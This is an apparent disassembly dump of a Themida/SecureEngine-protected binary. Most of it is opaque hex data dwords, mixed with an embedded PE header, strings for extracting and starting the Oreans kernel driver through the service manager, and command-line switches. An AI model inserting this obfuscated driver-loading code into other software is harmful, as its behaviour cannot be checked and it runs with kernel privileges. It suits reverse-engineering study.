		dd 0CDBE8D6Dh, 4820Fh, 0BE660000h, 3481D584h, 30E39124h
		dd 0EFEF8171h, 0FF096EE6h, 72939B5h, 8D858D06h,	6A060738h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0C457C355h, 890FDD47h, 6,	17458D0Bh, 0D0FF0607h
		dd 0AE9h, 36F1D900h, 0FFE7A49Ch, 90283321h, 8E9h, 0D69C2800h
		dd 0FCBE151Ch, 0EE9504Bh, 33000000h, 8E637AF0h,	4685336Ch
		dd 0C03821E2h, 0BF0F90C4h, 6A006AF1h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 3008C350h
		dd 88B654ACh, 6870Fh, 0B5890000h, 6070491h, 4E8h, 8000h
		dd 12E800h, 0E14A0000h,	0FB3F67CBh, 3652E578h, 0CA620EBFh
		dd 0A04EF43Eh, 5E9h, 0A36B9000h
		dd 505EFC66h, 96B96660h, 0F28B662Fh, 24448B61h,	8BD08B04h
		dd 0F525000h, 89585A31h, 66042444h, 0E858D08Bh,	11h, 5B1ECCB5h
		dd 0F5EA27CFh, 73F1EC42h, 8B0874D1h, 36A59F7h, 0BD8B006Ah
		dd 6071691h, 0B70F036Ah, 4E8CAh, 0
		dd 0F60C000h, 583h, 26D7B900h, 0F38B4823h, 11E85061h, 7000000h
		dd 0B9E1A83Ch, 65C31480h, 0AABFB25Ah, 0C1B3B206h, 61605250h
		dd 890F310Fh, 0
		dd 8B59585Ah, 0B9042444h, 0F3414E1h, 5250008Bh,	0EE8310Fh
		dd 0D7000000h, 54B357B0h, 81AD442Fh, 9ACCF1EFh,	5F5F514Bh
		dd 4489585Ah, 0CCBE0424h, 5847A9F9h, 8D6DE980h,	9AC0E9Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0A39A3484h, 0C2D7DB87h, 93CEB70Fh, 0E950A3B6h
		dd 6, 3DD97920h, 0F593FB58h, 6AD0FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0AB77DDC3h
		dd 6F3D8671h, 86CFC781h, 0F405362h, 2C185h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B2468FAh, 72C358Dh,	61B58906h, 58060704h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 24C35141h, 0C781FDBEh
		dd 0D374A83h, 50F1BF0Fh, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6874C356h
		dd 5960002Eh, 0F2B25FD4h, 10E9D18Bh, 0A8000000h, 7BE7F0D6h
		dd 0B21FFC52h, 0D159C7B2h, 6A8FA362h, 68A0F00h,	81000000h
		dd 0A7C87BE9h, 4E814h, 800000h,	52500000h, 0C18B6660h
		dd 50310F61h, 2A53BE52h, 310F343Dh, 585A5E50h, 6650585Ah
		dd 8B77FEBEh, 66042444h, 8BA4FEBFh, 8937B200h, 0E9042444h
		dd 0Bh,	0D257193Ch, 0D7D2B64Eh,	580C7F73h, 36AD18Bh, 432B25BFh
		dd 0F006A5Eh, 36AD6B7h,	82256BBAh, 10416865h, 0E9516719h
		dd 5, 0FF2C82E4h, 481599Ch, 0E6EFBF24h,	0C8C0F58h, 0F000000h
		dd 68Ch, 8F0F00h, 8D000000h, 9AC179Dh, 9DD78106h, 50336CA5h
		dd 1C89FB8Bh, 1DB96624h, 89D0FFB6h, 70F3195h, 0D1BF0F06h
		dd 73850F40h, 60000001h, 0F8FDC2B8h, 9523532Ah,	6072381h
		dd 0E858615Bh, 12h, 67D4613Fh, 4729E77Eh, 93AFC2A8h, 0BCA5F260h
		dd 905F5AB1h, 0DE9h, 0C03F4600h, 92B06C45h, 0B7D7363Ah
		dd 0E85062ADh, 0Ah, 0EFC31693h,	0A12A7983h, 8B0FE042h
		dd 16h,	10E8h, 0D2191100h, 7795630h, 0B5189893h, 33143080h
		dd 905F5FADh, 365B58Bh,	6A0607h, 101D8589h, 77680607h
		dd 0B6B6666Eh, 2404816Ch, 49999209h, 9A9BD89h, 952B0607h
		dd 60700EDh, 5ABA036Ah,	6A4398F2h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BA24BBDh
		dd 7322195h, 6AF48A06h,	0F4CB103h, 68Bh, 11858900h, 6806070Ah
		dd 90FC9C04h, 7696BF53h, 815909A1h, 63FC2404h, 6A2F03h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 7FE905C3h, 666B60E2h, 57B68DBEh, 5E9h, 0A5D1D200h, 8D598E19h
		dd 9AC229Dh, 0D958906h,	66060702h, 44D1D181h, 50D08B93h
		dd 0EBFB64BEh, 89F5936Fh, 72DC585h, 6AD0FF06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 66EEC351h, 31149E11h, 0D58D23D1h, 8006071Ch,	0F4066DAh
		dd 985h, 58FA8B00h, 136E9h, 0D88BFC00h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 77C35242h, 8DC5B98Ch
		dd 65DAE12Bh, 5E8h, 0AAE95600h,	9589DF80h, 6071D35h, 840F4B5Fh
		dd 6, 1CA9958Bh, 958B0607h, 6071381h, 11E958h, 0DC1B0000h
		dd 0BA7C4062h, 997DF1AEh, 9ABE0BE0h, 0C63972F5h, 7152585h
		dd 6A4306h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0FAD0B8C3h, 585B5132h, 0C6816639h, 4E8E115h
		dd 0A7000000h, 60C0764Ah, 0B563BB66h, 0FE8B5250h, 585A310Fh
		dd 7E85061h, 2000000h, 5FEAB1ECh, 8B598C08h, 66042444h
		dd 8B4FE6BEh, 8B665000h, 448959FAh, 0BF660424h,	0FF584139h
		dd 72939B5h, 8D61B506h,	7388D85h, 7BF28106h, 0FF0CE3DAh
		dd 2B4FBFD0h, 66504141h, 1C89CA8Bh, 1DBD8B24h, 0FF06070Eh
		dd 0FBBF0FD0h, 6EC19D8Dh, 0BD010607h, 6071601h,	1B8FCh
		dd 0D78B0000h, 14E9h, 4A787A00h, 7A2FAA6Eh, 47BCF338h
		dd 0F48AF105h, 297F76BAh, 0FE3FFCFh, 686h, 0DD853100h
		dd 8B060713h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 44252CD0h, 24CAF063h, 6D9D898Ah
		dd 8B060730h, 70459BDh,	0E9C08B06h, 0Ch, 701A386Bh, 6FC8BE49h
		dd 0A011B041h, 211BD83h, 75000607h, 65BD8309h, 6070Dh
		dd 53501974h, 0FB8C08Bh, 89000004h, 723A985h, 0F9D8D06h
		dd 0FF0609ABh, 83585BD3h, 70D65BDh, 17740006h, 0FB85350h
		dd 89000004h, 723A985h,	0B09D8D06h, 0FF0609A7h,	33585BD3h
		dd 709DDBDh, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0B58B893Ah, 60720D5h, 0EE9C08Bh
		dd 33000002h, 6E6E6143h, 7720746Fh, 65746972h, 65726F20h
		dd 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h, 74206572h
		dd 20746168h, 73696874h, 6C696620h, 73692065h, 746F6E20h
		dd 69656220h, 7520676Eh, 20646573h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	6071525h, 5B866847h, 0B5FFE3E4h
		dd 6072939h, 388D858Dh,	0D0FF0607h, 10468h, 859D8D00h
		dd 5306071Eh, 8D50D0FFh, 9B5AAB5h, 32FE8B06h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 7152585h
		dd 0FC684306h, 0FFBC8E6Eh, 72939B5h, 8D858D06h,	0FF060738h
		dd 85B58DD0h, 6A06071Eh, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 6071525h, 0EE566857h,	0B5FFA69Bh
		dd 6072939h, 388D858Dh,	0D0FF0607h, 1621BD8Dh, 8D8D0607h
		dd 609B6D0h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0B3B2B58Dh, 858D0609h, 609A3A6h, 8D8DD0FFh, 6076EC1h
		dd 0B8h, 0C6E1FF00h, 7152585h, 0A7684306h, 0FFC0764Ah
		dd 72939B5h, 8D858D06h,	0FF060738h, 0D0FF53D0h,	37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 24Fh dup(0)
		db 0
byte_567EE9	db 3 dup(0)		; DATA XREF: Themida_:0055D178o
		dd 110h	dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 5E800h, 0A4300000h
		dd 0F8E9E2Bh, 686h, 0F19D8B00h,	5A060706h, 0CE9h, 0A8C12400h
		dd 0F36D514Ch, 0C4CD4543h, 4AC28185h, 89000064h, 72C359Dh
		dd 0FC92B06h, 34FFF1BFh, 10E911h, 9BC40000h, 4782A1EAh
		dd 36C1EA3Bh, 5D07D32Ch, 665F46D3h, 0EF81C18Bh,	3A6BEC1h
		dd 0C781F08Bh, 41E0C21Eh, 0E900B866h, 65B6F781h, 0AE93644h
		dd 8F000000h, 8859DC08h, 0F140CD09h, 0A3C897Fh,	0F9B52350h
		dd 5E06070Dh, 2C51858Bh, 0E9830607h, 29CB8101h,	491FE276h
		dd 0E3814949h, 2A745E2Dh, 9C88F981h, 850FFFFFh,	18h, 2AE9F5h
		dd 63C00000h, 91AC1B0Ch, 0BBEEBFD6h, 1C7007D0h,	887B356Fh
		dd 1A05B52Bh, 6BE90607h, 4AFFFFFFh, 0FA750DCEh,	6104DCE5h
		dd 0AA9417F3h, 99E9h, 75622F00h, 65686367h, 326B63h, 6775622Fh
		dd 63656863h, 662F006Bh, 6563726Fh, 6E7572h, 6775622Fh
		dd 63656863h, 6C75666Bh, 732F006Ch, 63776F68h, 65646Fh
		dd 6F68732Fh, 646F6377h, 2F003265h, 74726C63h, 69642F00h
		dd 2F003173h, 776F6873h, 74736E69h, 65636E61h, 65672F00h
		dd 736C7774h, 75746174h, 6C2F0073h, 7473676Fh, 73757461h
		dd 75642F00h, 7473706Dh, 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 609F000h, 0A840F00h,	0C7000000h, 70D6585h, 106h, 2585C600h
		dd 47060715h, 49F18668h, 2404812Eh, 62237B07h, 2939B5FFh
		dd 858D0607h, 607388Dh,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
		dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C3E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B4E9h, 80B58D00h, 0E80609EFh, 225h, 0F015BD03h
		dd 0BD830609h, 609F015h, 0B840F00h, 0C7000000h,	7021185h
		dd 106h, 0B58DC300h, 609EF8Bh, 1FCE8h, 15BD0300h, 830609F0h
		dd 9F015BDh, 840F0006h,	0Bh, 0D6585C7h,	10607h,	8DC30000h
		dd 9F004B5h, 1D3E806h, 0BD030000h, 609F015h, 0F015BD83h
		dd 0F000609h, 0B84h, 9585C700h,	1060714h, 0C3000000h, 0EF95B58Dh
		dd 0AAE80609h, 3000001h, 9F015BDh, 15BD8306h, 609F0h, 0B840Fh
		dd 85C70000h, 6070D65h,	1, 9FB58DC3h, 0E80609EFh, 181h
		dd 0F015BD03h, 0BD830609h, 609F015h, 15840F00h,	0C7000000h
		dd 70D6585h, 106h, 1185C700h, 1060702h,	0C3000000h, 0EFADB58Dh
		dd 4EE80609h, 3000001h,	9F015BDh, 15BD8306h, 609F0h, 0A840Fh
		dd 85C70000h, 6072389h,	1, 0EFB7B58Dh, 26E80609h, 3000001h
		dd 9F015BDh, 15BD8306h,	609F0h,	0A840Fh, 85C70000h, 6072389h
		dd 1, 0EFC2B58Dh, 0FEE80609h, 3000000h,	9F015BDh, 15BD8306h
		dd 609F0h, 0A840Fh, 85C70000h, 6071699h, 1, 0EFC8B58Dh
		dd 0D6E80609h, 3000000h, 9F015BDh, 15BD8306h, 609F0h, 0A840Fh
		dd 85C70000h, 6071391h,	1, 0EFCEB58Dh, 0AEE80609h, 3000000h
		dd 9F015BDh, 15BD8306h,	609F0h,	0A840Fh, 85C70000h, 6073261h
		dd 1, 0EFDCB58Dh, 86E80609h, 3000000h, 9F015BDh, 15BD8306h
		dd 609F0h, 0A840Fh, 85C70000h, 6070A59h, 1, 0EFE9B58Dh
		dd 5EE80609h, 3000000h,	9F015BDh, 15BD8306h, 609F0h, 0A840Fh
		dd 85C70000h, 60719C1h,	1, 0EFF4B58Dh, 36E80609h, 3000000h
		dd 9F015BDh, 15BD8306h,	609F0h,	0A840Fh, 85C70000h, 60704C9h
		dd 1, 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh
		dd 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h
		dd 5850F00h, 0B9000000h, 0
		dd 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h, 8840F00h
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 609F015h, 0AE9h,	1585C700h
		dd 609F0h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 10h
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		align 10h
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		dd 0
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 8BC48B00h, 732D995h,	29858906h, 0F06072Fh, 28Bh, 8BCA8B00h
		dd 7E8C0h, 0AF990000h, 649459A0h, 59EC8A84h, 211BD83h
		dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 3DB8C08Bh
		dd 89000004h, 7302D85h,	0A89D8D06h, 0FF0609AAh,	83585BD3h
		dd 70D65BDh, 17740006h,	3DB85350h, 89000004h, 7302D85h
		dd 979D8D06h, 0FF0609A7h, 8B585BD3h, 71FC58Dh, 8BC08B06h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0D38B669Ch, 211BD83h, 75000607h,	65BD8309h
		dd 6070Dh, 53501374h, 0B8C08Bh,	8D000000h, 9A94A9Dh, 5BD3FF06h
		dd 65BD8358h, 6070Dh, 53501174h, 0B8h, 0FB9D8D00h, 0FF0609A7h
		dd 6A585BD3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 45D2C353h, 8A6FE66h, 0E95603BDh
		dd 14h,	65A5B5B7h, 0D954F50Ch, 0F5C6842h, 981686C8h, 331C7445h
		dd 0BD89C08Bh, 6072CB9h, 13E9h,	253F5100h, 0B8C33935h
		dd 9FEC10F4h, 0A10075F3h, 45F24038h, 8D8BC08Bh,	6073161h
		dd 211BD83h, 75000607h,	65BD8309h, 6070Dh, 53501374h, 0B8C08Bh
		dd 8D000000h, 9A87C9Dh,	5BD3FF06h, 65BD8358h, 6070Dh, 53501174h
		dd 0B8h, 0C99D8D00h, 0FF0609A7h, 60585BD3h, 0F28B66F9h
		dd 0CE85361h, 87000000h, 6E8093CFh, 0FE4F5AC0h,	23F83BEDh
		dd 723C195h, 8B5A5A06h,	2D8589C0h, 8B060710h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0E328D0D6h, 11BD836Ah, 60702h, 0BD830975h, 6070D65h
		dd 50137400h, 0B8C08B53h, 0
		dd 0A8E39D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h, 50117400h
		dd 0B853h, 9D8D0000h, 609A7E2h,	585BD3FFh, 32698D89h, 0F600607h
		dd 352D9BFh, 72141BDh, 8B615806h, 0CF8B66C0h, 0F88BC08Bh
		dd 0EC9958Bh, 0BD830607h, 6070211h, 83097500h, 70D65BDh
		dd 13740006h, 0C08B5350h, 0B8h,	159D8D00h, 0FF0609A8h
		dd 89585BD3h, 71671B5h,	0FAD8BF06h, 81661619h, 8B85F0F1h
		dd 0D18166C0h, 0C08B688Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 69C35141h, 9E971h, 5A1F0000h,	0D8560184h
		dd 837F269Dh, 70211BDh,	9750006h, 0D65BD83h, 74000607h
		dd 8B535019h, 7D0B8C0h,	85890000h, 607302Dh, 0AAA89D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6070D65h, 50177400h,	7D0B853h
		dd 85890000h, 607302Dh,	0A7979D8Dh, 0D3FF0609h,	8D31585Bh
		dd 6071C85h, 38C0Fh, 0CE800000h, 6AC08B74h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8972C351h
		dd 71535BDh, 2585C606h,	53060715h, 509BD8Bh, 90680607h
		dd 6699395Fh, 831AD981h, 2939B5FFh, 0E9570607h,	9, 0A4DC05C8h
		dd 31872927h, 858D59C2h, 607388Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 4AC35141h, 8B4DBAB5h, 71399BDh
		dd 56D0FF06h, 0E35BD01h, 89590607h, 71C1985h, 12E806h
		dd 6D7D0000h, 0FDD4C707h, 26C37F10h, 2308FC35h,	0BC5CC73Fh
		dd 89597BB6h, 714A185h,	2585C606h, 57060715h, 68CEBF0Fh
		dd 90045206h, 0B5FFFB8Bh, 6072939h, 0AE9h, 8C0BFE00h, 0ABD1406Dh
		dd 8DA2567Bh, 7388D85h,	0D3B70F06h, 0D0FFD38Ah,	1993A6B9h
		dd 3D858946h, 0B1060721h, 2585C6EBh, 43060715h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 58C35646h, 8883B083h
		dd 18D2903h, 8906072Fh,	7313585h, 70286806h, 0BF0FBC90h
		dd 39B5FFCAh, 0F060729h, 68Fh, 41850900h, 66060701h, 8D6E54BAh
		dd 7388D85h, 1D8D8B06h,	0FF060728h, 0B19D89D0h,	89060723h
		dd 71D2185h, 6DBD8906h,	0C6060720h, 7152585h, 85294C06h
		dd 60719F9h, 0DA1CE968h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 958BD1F5h, 60700F1h, 2DB98D8Bh
		dd 0B5FF0607h, 6072939h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 50C35141h, 709CC2CFh,	858D1EDBh, 607388Dh
		dd 0FFCABF0Fh, 79958BD0h, 89060704h, 723F185h, 25958906h
		dd 0C6060701h, 7152585h, 8D894606h, 6072099h, 6ED28166h
		dd 6146828h, 14E8BADEh,	71000000h, 7CA11C22h, 67981805h
		dd 1F71C222h, 70556791h, 0E9F28C3Ah, 7,	909EB5F6h, 59932459h
		dd 2939B5FFh, 66600607h, 61101CBFh, 388D858Dh, 0BF0F0607h
		dd 1ABA66D0h, 66D0FF7Ch, 8589CF8Bh, 6071B01h, 68C0F50h
		dd 0F000000h, 84h, 85C65F00h, 6071525h,	51006A47h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 1B4D5D51h, 8D3F294Fh, 7DBD290Dh, 0F06070Bh, 0E268F9B7h
		dd 898A0FB5h, 729718Dh,	39B5FF06h, 0E9060729h, 0Ah, 0FF3E57D5h
		dd 0CEB1DFEh, 858D4483h, 607388Dh, 0D0FFCF8Bh, 0BE9h, 1571B800h
		dd 0D48AD1B1h, 8250F936h, 30558589h, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B44418C3h
		dd 25FE5795h, 9E94Eh, 0DE160000h, 0D723602Ah, 0C672107Ah
		dd 7152585h, 81664706h,	68FC7AF2h, 83D0B5F3h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 20C35040h, 1219958Bh
		dd 0D6B10607h, 2939B5FFh, 8DF80607h, 7388D85h, 6AD0FF06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8B55C353h, 731E1BDh, 8589F906h, 6071301h
		dd 0C6CABF0Fh, 7152585h, 89607706h, 70F719Dh, 0D5BD2B06h
		dd 61060717h, 97A8A368h, 50006AF3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0DA8166D7h, 0B5FF460Ah
		dd 6073199h, 388D858Dh,	0FFF90607h, 95E5BFD0h, 858959E0h
		dd 6070F1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0D1C35646h, 0BB3473DEh,	0C6932CF6h, 7152585h, 8D094706h
		dd 6071895h, 28FAF668h,	2800F87h, 8B000000h, 39B5FFCFh
		dd 8D060729h, 7388D85h,	798D8B06h, 0FF060714h, 0DE9D0h
		dd 0BB550000h, 0B933E0F1h, 2CF95A12h, 894EBA9Ch, 7129D85h
		dd 68C0F06h, 8B000000h,	702D195h, 2585C606h, 43060715h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B0C35040h
		dd 0FC68838Eh, 66BC8E6Eh, 0D18BD38Bh, 2939B5FFh, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0DFE28CC3h, 28B4D94Eh, 8B605DF7h, 70EEDB5h, 858D6106h
		dd 607388Dh, 0F1958960h, 8B06070Ch, 71C2985h, 0D0FF6106h
		dd 8589C88Ah, 60726F1h,	14399589h, 85C60607h, 6071525h
		dd 6968F545h, 818E7269h, 8253D5F2h, 39B5FF5Fh, 6A060729h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 258EC355h, 0D781665Eh, 858D2C2Dh,	607388Dh
		dd 0FFF8BF0Fh, 7E9D0h, 722F0000h, 0E0AB889Bh, 1D85896Dh
		dd 8A060719h, 2585C6C8h, 44060715h, 34E2BA66h, 0F2EC6468h
		dd 13E8B8h, 47DC0000h, 102BD665h, 524EF65Dh, 9CD725D1h
		dd 452C7077h, 0AE850h, 71000000h, 0E8E7074Dh, 5105E75Ah
		dd 595F5A57h, 2939B5FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 55DCE4C3h, 388D858Dh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 513C5EC3h, 0FAFE52BDh, 0CF815D50h, 2E9DD6EBh
		dd 0E0BAD0FFh, 892E2F06h, 72FC985h, 0BD896006h,	6070111h
		dd 2585C661h, 43060715h, 2CFD8D8Bh, 0A7680607h,	8BC0764Ah
		dd 721B595h, 39B5FF06h,	66060729h, 0EB09EF81h, 388D858Dh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0A6111EC3h, 0AAD0C869h, 95014491h, 6072655h
		dd 8166D0FFh, 896C96E7h, 71AF585h, 0DE806h, 165E0000h
		dd 7FC82EE0h, 0EDCD644Bh, 89660A08h, 7197985h, 9D295A06h
		dd 6070B2Dh, 0FF81BD80h, 0F000609h, 0EC84h, 49958900h
		dd 8D060700h, 9FF6385h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 4C1943A7h, 6A50DDF0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B35C351h, 72F3D8Dh, 6850F06h, 89000000h
		dd 71D618Dh, 89016A06h,	7139595h, 6A006A06h, 14E900h, 16B40000h
